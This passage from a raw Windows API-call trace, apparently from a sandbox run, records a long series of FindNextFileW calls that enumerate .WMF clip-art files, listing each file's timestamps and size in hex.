ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0068.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0068.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: 